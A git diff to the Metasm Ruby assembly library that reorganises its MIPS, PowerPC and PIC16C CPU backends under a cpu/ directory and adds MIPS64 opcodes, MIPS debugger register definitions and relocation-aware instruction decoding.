a/lib/metasm/metasm/ia32/render.rb +++ b/lib/metasm/metasm/cpu/ia32/render.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' require 'metasm/render' # XXX move context in another file ? @@ -14,7 +14,7 @@ class Ia32 include Renderable end - [SegReg, DbgReg, CtrlReg, FpReg].each { |c| c.class_eval { + [SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval { def render ; [self.class.i_to_s[@val]] end } } [Reg, SimdReg].each { |c| c.class_eval { @@ -60,12 +60,18 @@ class Ia32 def render_instruction(i) r = [] - r << 'lock ' if i.prefix and i.prefix[:lock] - r << i.prefix[:rep] << ' ' if i.prefix and i.prefix[:rep] + if pfx = i.prefix + r << 'lock ' if pfx[:lock] + r << pfx[:rep] << ' ' if pfx[:rep] + r << pfx[:jmphint] << ' ' if pfx[:jmphint] + r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg] + end r << i.opname + sep = ' ' i.args.each { |a| a.instruction = i if a.kind_of? ModRM - r << (r.last == i.opname ? ' ' : ', ') << a + r << sep << a + sep = ', ' } r end @@ -87,5 +93,26 @@ class Ia32 h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] } h end + + def gui_hilight_word_regexp_init + ret = {} + + %w[a b c d].each { |r| + ret["#{r}l"] = "e?#{r}x|#{r}l" + ret["#{r}h"] = "e?#{r}x|#{r}h" + ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]" + } + + %w[sp bp si di].each { |r| + ret[r] = ret["e#{r}"] = "e?#{r}" + } + + ret + end + + def gui_hilight_word_regexp(word) + @gui_hilight_word_hash ||= gui_hilight_word_regexp_init + @gui_hilight_word_hash[word] or super(word) + end end end diff --git a/lib/metasm/metasm/cpu/mips.rb b/lib/metasm/metasm/cpu/mips.rb new file mode 100644 index 0000000000..52c3005e24 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips.rb @@ -0,0 +1,14 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +class Metasm::MIPS < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/mips/parse' +require 'metasm/cpu/mips/encode' +require 'metasm/cpu/mips/decode' +require 'metasm/cpu/mips/render' +require 'metasm/cpu/mips/debug' diff --git a/lib/metasm/metasm/mips/compile_c.rb b/lib/metasm/metasm/cpu/mips/compile_c.rb similarity index 86% rename from lib/metasm/metasm/mips/compile_c.rb rename to lib/metasm/metasm/cpu/mips/compile_c.rb index 15a53ccbde..a92e397ecc 100644 --- a/lib/metasm/metasm/mips/compile_c.rb +++ b/lib/metasm/metasm/cpu/mips/compile_c.rb @@ -3,5 +3,5 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/parse' +require 'metasm/cpu/mips/parse' require 'metasm/compile_c' diff --git a/lib/metasm/metasm/cpu/mips/debug.rb b/lib/metasm/metasm/cpu/mips/debug.rb new file mode 100644 index 0000000000..05e39c0b02 --- /dev/null +++ b/lib/metasm/metasm/cpu/mips/debug.rb @@ -0,0 +1,42 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class MIPS + def dbg_register_pc + @dbg_register_pc ||= :pc + end + def dbg_register_flags + @dbg_register_flags ||= :flags + end + + def dbg_register_list + @dbg_register_list ||= %w[z0 at v0 v1 a0 a1 a2 a3 + t0 t1 t2 t3 t4 t5 t6 t7 + s0 s1 s2 s3 s4 s5 s6 s7 + t8 t9 k0 k1 gp sp fp ra + sr mullo mulhi badva cause pc].map { |r| r.to_sym } + end + + def dbg_flag_list + @dbg_flag_list ||= [] + end + + def dbg_register_size + @dbg_register_size ||= Hash.new(@size) + end + + def dbg_need_stepover(dbg, addr, di) + di and di.opcode.props[:saveip] + end + + def dbg_end_stepout(dbg, addr, di) + di and di.opcode.name == 'foobar' # TODO + end +end +end diff --git a/lib/metasm/metasm/mips/decode.rb b/lib/metasm/metasm/cpu/mips/decode.rb similarity index 81% rename from lib/metasm/metasm/mips/decode.rb rename to lib/metasm/metasm/cpu/mips/decode.rb index ca5de98205..6b61555bbb 100644 --- a/lib/metasm/metasm/mips/decode.rb +++ b/lib/metasm/metasm/cpu/mips/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/decode' module Metasm @@ -35,28 +35,45 @@ class MIPS end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - # TODO handle relocations !! di = DecodedInstruction.new(self) val = edata.decode_imm(:u32, @endianness) edata.ptr -= 4 - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } + if val.kind_of?(Expression) + # relocations + hval = Expression[val, :&, 0xff000000].reduce + if hval.kind_of?(Expression) + # reloc_i26 + if hval.kind_of?(Expression) and pat = hval.match(Expression[['a', :&, 0x300_0000], :|, 'b'], 'a', 'b') + hval = pat['b'] + end + end + di if di.opcode = @bin_lookaside[hval >> 24].find { |op| + (op.bin & op.bin_mask) == Expression[val, :&, op.bin_mask].reduce + } + else + di if di.opcode = @bin_lookaside[val >> 24].find { |op| + (op.bin & op.bin_mask) == (val & op.bin_mask) + } + end end def decode_instr_op(edata, di) - # TODO handle relocations !! before_ptr = edata.ptr op = di.opcode di.instruction.opname = op.name val = edata.decode_imm(:u32, @endianness) field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - # XXX do that cleanly (Expr.decode_imm) + if val.kind_of?(Expression) + r = Expression[[val, :>>, @fields_shift[f]], :&, @fields_mask[f]].reduce + else + r = (val >> @fields_shift[f]) & @fields_mask[f] + end + + next r if r.kind_of?(Expression) case f - when :sa, :i16, :it; r = Expression.make_signed(r, 16) + when :msbd; r += 1 + when :i16; r = Expression.make_signed(r, 16) when :i20; r = Expression.make_signed(r, 20) when :i26; r = Expression.make_signed(r, 26) else r @@ -66,15 +83,23 @@ class MIPS op.args.each { |a| di.instruction.args << case a when :rs, :rt, :rd; Reg.new field_val[a] - when :sa, :i16, :i20, :i26, :it; Expression[field_val[a]] - when :rs_i16; Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]] + when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb; Expression[field_val[a]] + when :rs_i16 + len = 32 + len = 64 if op.props[:m64] + len = 16 if op.props[:mi16] or op.props[:mu16] + len = 8 if op.props[:mi8 ] or op.props[:mu8] + Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]], len when :ft; FpReg.new field_val[a] - when :idm1, :idb; Expression['unsupported'] + when :idm1; Expression['unsupported'] else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" end } + di.bin_length += edata.ptr - before_ptr + return false if edata.ptr > edata.length + di end @@ -86,7 +111,13 @@ class MIPS if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t delta = Expression[di.instruction.args.last, :<<, 2].reduce if di.opcode.args.include? :i26 - arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce + # absolute jump in the 0x3ff_ffff region surrounding next_pc + if delta.kind_of? Expression and delta.op == :& and delta.rexpr == 0x3ff_fffc + # relocated arg: assume the linker mapped so that instr&target are in the same region + arg = Expression[delta.lexpr].reduce + else + arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce + end else arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce end @@ -112,7 +143,7 @@ class MIPS { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] } } when 'nop', 'j', 'jr', /^b/; lambda { |di, *a| {} } - when 'lui'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } } + when 'lui'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xffff], :<<, 16] } } when 'add', 'addu', 'addi', 'addiu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :+, a2] } } # XXX addiu $sp, -40h should be addiu $sp, 0xffc0 from the books, but.. when 'sub', 'subu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :-, a2] } } when 'slt', 'slti'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } } diff --git a/lib/metasm/metasm/mips/encode.rb b/lib/metasm/metasm/cpu/mips/encode.rb similarity index 86% rename from lib/metasm/metasm/mips/encode.rb rename to lib/metasm/metasm/cpu/mips/encode.rb index 7025bc5cb8..23df0694ff 100644 --- a/lib/metasm/metasm/mips/encode.rb +++ b/lib/metasm/metasm/cpu/mips/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/encode' module Metasm @@ -40,12 +40,13 @@ class MIPS when :rs_i16 set_field[:rs, arg.base.i] val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20, :i26 + when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] + val = Expression[val, :-, 1] if sym == :msbd end } - Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata + Expression[base, :|, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata end end end diff --git a/lib/metasm/metasm/mips/main.rb b/lib/metasm/metasm/cpu/mips/main.rb similarity index 83% rename from lib/metasm/metasm/mips/main.rb rename to lib/metasm/metasm/cpu/mips/main.rb index 1f04ed8d4a..f1dc5311cc 100644 --- a/lib/metasm/metasm/mips/main.rb +++ b/lib/metasm/metasm/cpu/mips/main.rb @@ -43,16 +43,16 @@ class MIPS < CPU end class Memref - attr_accessor :base, :offset - def initialize(base, offset) - @base, @offset = base, offset + attr_accessor :base, :offset, :sz + def initialize(base, offset, sz=32) + @base, @offset, @sz = base, offset, sz end def symbolic(orig) p = nil p = Expression[p, :+, @base.symbolic] if base p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, 4, orig] + Indirection[p.reduce, @sz/8, orig] end end @@ -68,5 +68,12 @@ class MIPS < CPU @opcode_list end end + +class MIPS64 < MIPS + def initialize(endianness = :big, family = :latest) + super(endianness, family) + @size = 64 + end +end end diff --git a/lib/metasm/metasm/mips/opcodes.rb b/lib/metasm/metasm/cpu/mips/opcodes.rb similarity index 83% rename from lib/metasm/metasm/mips/opcodes.rb rename to lib/metasm/metasm/cpu/mips/opcodes.rb index 4b0015ea7f..a447304425 100644 --- a/lib/metasm/metasm/mips/opcodes.rb +++ b/lib/metasm/metasm/cpu/mips/opcodes.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/main' +require 'metasm/cpu/mips/main' # TODO coprocessors, floating point, 64bits, thumb mode @@ -13,8 +13,10 @@ module Metasm class MIPS def addop(name, bin, *args) o = Opcode.new name, bin - o.args.concat(args & @fields_mask.keys) - (args & @valid_props).each { |p| o.props[p] = true } + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + } @opcode_list << o end @@ -45,10 +47,11 @@ class MIPS @opcode_list = [] @fields_mask.update :rs => 0x1f, :rt => 0x1f, :rd => 0x1f, :sa => 0x1f, :i16 => 0xffff, :i26 => 0x3ffffff, :rs_i16 => 0x3e0ffff, :it => 0x1f, - :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff #, :i32 => 0 + :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff @fields_shift.update :rs => 21, :rt => 16, :rd => 11, :sa => 6, :i16 => 0, :i26 => 0, :rs_i16 => 0, :it => 16, - :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 #, :i32 => 0 + :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 + @valid_props.update :mi8 => true, :mu8 => true, :mi16 => true, :mu16 => true init_mips32_obsolete init_mips32_reserved @@ -58,12 +61,11 @@ class MIPS addop 'mov', 0b001000 << 26, :rt, :rs # rt <- rs+0 addop 'addi', 0b001000 << 26, :rt, :rs, :i16 # add rt <- rs+i - addop 'li', 0b001001 << 26, :rt, :i16 # add $0 # XXX liu ? + addop 'li', 0b001001 << 26, :rt, :i16 # addiu rt <- zero+i addop 'addiu',0b001001 << 26, :rt, :rs, :i16 # add unsigned addop 'slti', 0b001010 << 26, :rt, :rs, :i16 # set on less than addop 'sltiu',0b001011 << 26, :rt, :rs, :i16 # set on less than unsigned addop 'andi', 0b001100 << 26, :rt, :rs, :i16 # and - addop 'li', 0b001101 << 26, :rt, :i16 # or $0 addop 'ori', 0b001101 << 26, :rt, :rs, :i16 # or addop 'xori', 0b001110 << 26, :rt, :rs, :i16 # xor addop 'lui', 0b001111 << 26, :rt, :i16 # load upper @@ -80,16 +82,16 @@ class MIPS addop 'blez', 0b000110 << 26, :rs, :i16, :setip # <= 0 addop 'bgtz', 0b000111 << 26, :rs, :i16, :setip # > 0 - addop 'lb', 0b100000 << 26, :rt, :rs_i16 # load byte rs <- [rt+i] - addop 'lh', 0b100001 << 26, :rt, :rs_i16 # load halfword + addop 'lb', 0b100000 << 26, :rt, :rs_i16, :mi8 # load byte rs <- [rt+i] + addop 'lh', 0b100001 << 26, :rt, :rs_i16, :mi16 # load halfword addop 'lwl', 0b100010 << 26, :rt, :rs_i16 # load word left addop 'lw', 0b100011 << 26, :rt, :rs_i16 # load word - addop 'lbu', 0b100100 << 26, :rt, :rs_i16 # load byte unsigned - addop 'lhu', 0b100101 << 26, :rt, :rs_i16 # load halfword unsigned + addop 'lbu', 0b100100 << 26, :rt, :rs_i16, :mu8 # load byte unsigned + addop 'lhu', 0b100101 << 26, :rt, :rs_i16, :mu16 # load halfword unsigned addop 'lwr', 0b100110 << 26, :rt, :rs_i16 # load word right - addop 'sb', 0b101000 << 26, :rt, :rs_i16 # store byte - addop 'sh', 0b101001 << 26, :rt, :rs_i16 # store halfword + addop 'sb', 0b101000 << 26, :rt, :rs_i16, :mi8 # store byte + addop 'sh', 0b101001 << 26, :rt, :rs_i16, :mi16 # store halfword addop 'swl', 0b101010 << 26, :rt, :rs_i16 # store word left addop 'sw', 0b101011 << 26, :rt, :rs_i16 # store word addop 'swr', 0b101110 << 26, :rt, :rs_i16 # store word right @@ -195,10 +197,10 @@ class MIPS # cp0 - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd, :sel - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd, :sel + addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb + addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb, :sel + addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb + addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb, :sel addop 'tlbr', (0b010000<<26) | (1<<25) | 0b000001 addop 'tlbwi',(0b010000<<26) | (1<<25) | 0b000010 @@ -235,6 +237,73 @@ class MIPS end alias init_latest init_mips32r2 end + +class MIPS64 + def init_mips64 + init_mips32r2 + @valid_props.update :mi64 => true + + addop 'ld', 0b110111 << 26, :rt, :rs_i16, :m64 + addop 'lwu', 0b100111 << 26, :rt, :rs_i16 + addop 'sd', 0b111111 << 26, :rt, :rs_i16, :m64 + addop 'scd', 0b111100 << 26, :rt, :rs_i16, :m64 + addop 'ldl', 0b011010 << 26, :rt, :rs_i16 + addop 'ldr', 0b011011 << 26, :rt, :rs_i16 + addop 'sdl', 0b101100 << 26, :rt, :rs_i16 + addop 'sdr', 0b101101 << 26, :rt, :rs_i16 + addop 'lld', 0b110100 << 26, :rt, :rs_i16 + addop 'daddi', 0b011000 << 26, :rt, :rs, :i16 + addop 'daddiu', 0b011001 << 26, :rt, :rs, :i16 + + addop 'dclo', (0b011100 << 26) | (0b100101), :rd, :rt, :rs + addop 'dclz', (0b011100 << 26) | (0b100100), :rd, :rt, :rs + + addop 'dadd', 0b101100, :rd, :rs, :rt + addop 'daddu', 0b101101, :rd, :rs, :rt + addop 'dsub', 0b101110, :rd, :rs, :rt + addop 'dsubu', 0b101111, :rd, :rs, :rt + addop 'dsll', 0b111000, :rd, :rt, :sa + addop 'dsll32', 0b111100, :rd, :rt, :sa + addop 'dsllv', 0b010100, :rd, :rt, :rs + addop 'dsra', 0b111011, :rd, :rt, :sa + addop 'dsra32', 0b111111, :rd, :rt, :sa + addop 'dsrav', 0b010111, :rd, :rt, :rs + addop 'dsrl', 0b111010, :rd, :rt, :sa + addop 'dsrl32', 0b111110, :rd, :rt, :sa + addop 'dsrlv', 0b010110, :rd, :rt, :rs + addop 'ddiv', 0b011110, :rs, :rt + addop 'ddivu', 0b011111, :rs, :rt + addop 'dmult', 0b011100, :rs, :rt + addop 'dmultu', 0b011101, :rs, :rt + + addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb + addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb, :sel + addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb + addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb, :sel + end + + def init_mips64r2 + init_mips64 + @fields_mask.update :msbd => 0x1f + @fields_shift.update :msbd => 11 + + addop 'dext', (0b011111 << 26) | 0b000011, :rt, :rs, :sa, :msbd # sa => lsb + addop 'dextm', (0b011111 << 26) | 0b000001, :rt, :rs, :sa, :msbd + addop 'dextu', (0b011111 << 26) | 0b000010, :rt, :rs, :sa, :msbd + addop 'dins', (0b011111 << 26) | 0b000111, :rt, :rs, :sa, :msbd + addop 'dinsm', (0b011111 << 26) | 0b000101, :rt, :rs, :sa, :msbd + addop 'dinsu', (0b011111 << 26) | 0b000110, :rt, :rs, :sa, :msbd + + addop 'drotr', (1 << 21) | 0b111010, :rd, :rt, :sa + addop 'drotr32', (1 << 21) | 0b111110, :rd, :rt, :sa + addop 'drotrv', (1 << 6) | 0b010110, :rd, :rt, :rs + + addop 'dsbh', (0b011111 << 26) | (0b00010 << 6) | 0b100100, :rd, :rt + addop 'dshd', (0b011111 << 26) | (0b00101 << 6) | 0b100100, :rd, :rt + end + + alias init_latest init_mips64r2 +end end __END__ def macro_addop_cop1(name, bin, *aprops) diff --git a/lib/metasm/metasm/mips/parse.rb b/lib/metasm/metasm/cpu/mips/parse.rb similarity index 98% rename from lib/metasm/metasm/mips/parse.rb rename to lib/metasm/metasm/cpu/mips/parse.rb index 239c93b7d9..e7daeac27b 100644 --- a/lib/metasm/metasm/mips/parse.rb +++ b/lib/metasm/metasm/cpu/mips/parse.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/parse' module Metasm diff --git a/lib/metasm/metasm/mips/render.rb b/lib/metasm/metasm/cpu/mips/render.rb similarity index 96% rename from lib/metasm/metasm/mips/render.rb rename to lib/metasm/metasm/cpu/mips/render.rb index eb37ddc5f2..31ad15a331 100644 --- a/lib/metasm/metasm/mips/render.rb +++ b/lib/metasm/metasm/cpu/mips/render.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/mips/opcodes' +require 'metasm/cpu/mips/opcodes' require 'metasm/render' module Metasm diff --git a/lib/metasm/metasm/pic16c/decode.rb b/lib/metasm/metasm/cpu/pic16c/decode.rb similarity index 92% rename from lib/metasm/metasm/pic16c/decode.rb rename to lib/metasm/metasm/cpu/pic16c/decode.rb index ec3daa4428..9c8ccfb1e1 100644 --- a/lib/metasm/metasm/pic16c/decode.rb +++ b/lib/metasm/metasm/cpu/pic16c/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/pic16c/opcodes' +require 'metasm/cpu/pic16c/opcodes' require 'metasm/decode' module Metasm @@ -17,22 +17,21 @@ class Pic16c } op.bin_mask.map! { |v| 255 ^ v } end - + def build_bin_lookaside # sets up a hash byte value => list of opcodes that may match # opcode.bin_mask is built here lookaside = Array.new(256) { [] } @opcode_list.each { |op| - + build_opcode_bin_mask op - + b = op.bin[0] msk = op.bin_mask[0] - - + for i in b..(b | (255^msk)) ext if i & msk != b & msk - + lookaside[i] << op end } diff --git a/lib/metasm/metasm/pic16c/main.rb b/lib/metasm/metasm/cpu/pic16c/main.rb similarity index 100% rename from lib/metasm/metasm/pic16c/main.rb rename to lib/metasm/metasm/cpu/pic16c/main.rb diff --git a/lib/metasm/metasm/pic16c/opcodes.rb b/lib/metasm/metasm/cpu/pic16c/opcodes.rb similarity index 98% rename from lib/metasm/metasm/pic16c/opcodes.rb rename to lib/metasm/metasm/cpu/pic16c/opcodes.rb index cfc96d07cd..3112af715f 100644 --- a/lib/metasm/metasm/pic16c/opcodes.rb +++ b/lib/metasm/metasm/cpu/pic16c/opcodes.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/pic16c/main' +require 'metasm/cpu/pic16c/main' module Metasm class Pic16c diff --git a/lib/metasm/metasm/mips.rb b/lib/metasm/metasm/cpu/ppc.rb similarity index 60% rename from lib/metasm/metasm/mips.rb rename to lib/metasm/metasm/cpu/ppc.rb index 139c6721f6..16f77e59a8 100644 --- a/lib/metasm/metasm/mips.rb +++ b/lib/metasm/metasm/cpu/ppc.rb @@ -5,7 +5,7 @@ require 'metasm/main' -require 'metasm/mips/parse' -require 'metasm/mips/encode' -require 'metasm/mips/decode' -require 'metasm/mips/render' +require 'metasm/cpu/ppc/parse' +require 'metasm/cpu/ppc/encode' +require 'metasm/cpu/ppc/decode' +require 'metasm/cpu/ppc/decompile' diff --git a/lib/metasm/metasm/ppc/decode.rb b/lib/metasm/metasm/cpu/ppc/decode.rb similarity index 91% rename from lib/metasm/metasm/ppc/decode.rb rename to lib/metasm/metasm/cpu/ppc/decode.rb index df70a7b470..923c15265c 100644 --- a/lib/metasm/metasm/ppc/decode.rb +++ b/lib/metasm/metasm/cpu/ppc/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/opcodes' +require 'metasm/cpu/ppc/opcodes' require 'metasm/decode' module Metasm @@ -13,8 +13,8 @@ class PowerPC # bit = 0 if can be mutated by an field value, 1 if fixed by opcode return if not op.bin.kind_of? Integer op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] + op.fields.each { |k, (m, s)| + op.bin_mask |= m << s } op.bin_mask = 0xffff_ffff ^ op.bin_mask end @@ -37,7 +37,7 @@ class PowerPC end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length + return if edata.ptr+4 > edata.length di = DecodedInstruction.new(self) val = edata.decode_imm(:u32, @endianness) edata.ptr -= 4 @@ -67,14 +67,20 @@ class PowerPC when :fra, :frb, :frc, :frs, :frt; FPR.new field_val[a] when :ra_i16, :ra_i16s, :ra_i16q i = field_val[{:ra_i16 => :d, :ra_i16s => :ds, :ra_i16q => :dq}[a]] - Memref.new GPR.new(field_val[:ra]), Expression[i] - when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :ma, :mb, :me, :ma_, :mb_, :me_; Expression[field_val[a]] - when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :ign_bi, :aa, :lk, :oe, :rc, :l; next + Memref.new GPR.new(field_val[:ra]), Expression[i] + when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; Expression[field_val[a]] + when :ba, :bf, :bfa, :bt; CR.new field_val[a] + when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to + puts "PPC.decode: unsupported argument #{a.inspect}" if $VERBOSE # TODO + Expression[field_val[a]] else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" end } + di.bin_length += edata.ptr - before_ptr + return if edata.ptr > edata.length + decode_aliases(di.instruction) di @@ -84,8 +90,8 @@ class PowerPC case i.opname when /^n?or\.?$/ if i.args[1] == i.args[2] - i.args.pop - i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] + i.args.pop + i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] end when /^addi/ if a = i.args[2].reduce and a.kind_of? Integer and a < 0 @@ -107,7 +113,7 @@ class PowerPC # else just add the offset +off+ of the instruction + its length (off may be an Expression) # assumes edata.ptr points just after the instruction (as decode_instr_op left it) # do not call twice on the same di ! - def decode_instr_interpret(di, addr) + def decode_instr_interpret(di, addr) if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t and di.opcode.name[-1] != ?a arg = Expression[addr, :+, di.instruction.args.last].reduce di.instruction.args[-1] = Expression[arg] @@ -191,11 +197,11 @@ class PowerPC ptr = m.pointer.externals.grep(Symbol).first ret[ptr] = m.pointer if ptr != a0 ret - } + } when 'lwz'; lambda { |di, a0, m| { a0 => Expression[m] } } when 'stwu'; lambda { |di, a0, m| { m => Expression[a0], m.pointer.externals.grep(Symbol).first => m.pointer } - } + } when 'stw'; lambda { |di, a0, m| { m => Expression[a0] } } when 'rlwinm'; lambda { |di, a0, a1, sh, mb, me| mb, me = mb.reduce, me.reduce diff --git a/lib/metasm/metasm/ppc/decompile.rb b/lib/metasm/metasm/cpu/ppc/decompile.rb similarity index 98% rename from lib/metasm/metasm/ppc/decompile.rb rename to lib/metasm/metasm/cpu/ppc/decompile.rb index 7f0cece11f..c042903e29 100644 --- a/lib/metasm/metasm/ppc/decompile.rb +++ b/lib/metasm/metasm/cpu/ppc/decompile.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/main' +require 'metasm/cpu/ppc/main' module Metasm class PowerPC @@ -25,7 +25,7 @@ class PowerPC # returns { blockaddr => [list of vars that are needed by a following block] } def decompile_func_finddeps(dcmp, blocks, func) deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs + deps_subfunc = {} # things read/written by subfuncs # find read/writes by each block blocks.each { |b, to| @@ -43,7 +43,7 @@ class PowerPC end } #a << :eax if di.opcode.name == 'ret' # standard ABI - + deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] } diff --git a/lib/metasm/metasm/ppc/encode.rb b/lib/metasm/metasm/cpu/ppc/encode.rb similarity index 94% rename from lib/metasm/metasm/ppc/encode.rb rename to lib/metasm/metasm/cpu/ppc/encode.rb index e0008d8d9c..aa2c9a69c4 100644 --- a/lib/metasm/metasm/ppc/encode.rb +++ b/lib/metasm/metasm/cpu/ppc/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/opcodes' +require 'metasm/cpu/ppc/opcodes' require 'metasm/encode' module Metasm @@ -31,7 +31,7 @@ class PowerPC op.args.zip(instr.args).each { |sym, arg| case sym - when :rs, :rt, :rd + when :rs, :rt, :rd, :ba, :bf, :bfa, :bt set_field[sym, arg.i] when :ft set_field[sym, arg.i] diff --git a/lib/metasm/metasm/ppc/main.rb b/lib/metasm/metasm/cpu/ppc/main.rb similarity index 80% rename from lib/metasm/metasm/ppc/main.rb rename to lib/metasm/metasm/cpu/ppc/main.rb index cfcfb70cbb..b66385557a 100644 --- a/lib/metasm/metasm/ppc/main.rb +++ b/lib/metasm/metasm/cpu/ppc/main.rb @@ -11,10 +11,15 @@ module Metasm class PowerPC < CPU class Reg include Renderable + class << self + attr_accessor :s_to_i, :i_to_s + end def ==(o) o.class == self.class and (not respond_to?(:i) or o.i == i) end + + def render ; [self.class.i_to_s[@i]] ; end end # general purpose reg @@ -24,17 +29,14 @@ class PowerPC < CPU @i = i end - Sym = (0..31).map { |i| "r#{i}".to_sym } - Sym[1] = :sp + @s_to_i = (0..31).inject({}) { |h, i| h.update((i == 1 ? 'sp' : "r#{i}") => i) } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last def symbolic ; Sym[@i] end - def render ; [@i == 1 ? 'sp' : "r#@i"] end end # special purpose reg class SPR < Reg - class << self - attr_accessor :s_to_i, :i_to_s - end @s_to_i = {'xer' => 1, 'lr' => 8, 'ctr' => 9, 'dec' => 22, 'srr0' => 26, 'srr1' => 27, 'sprg0' => 272, 'sprg1' => 273, 'sprg2' => 274, 'sprg3' => 275, 'pvr' => 287} @i_to_s = @s_to_i.invert @@ -50,14 +52,15 @@ class PowerPC < CPU end # floating point - class FPR + class FPR < Reg attr_accessor :i def initialize(i) @i = i end - include Renderable - def render ; ["fp#@i"] end + @s_to_i = (0..31).inject({}) { |h, i| h.update "fp#{i}" => i } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last end # machine state reg @@ -73,8 +76,10 @@ class PowerPC < CPU @i = i end + @s_to_i = (0..31).inject({}) { |h, i| h.update "cr#{i}" => i } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last def symbolic ; "cr#@i".to_sym end - def render ; ["cr#@i"] end end # indirection : reg+reg or reg+16b_off 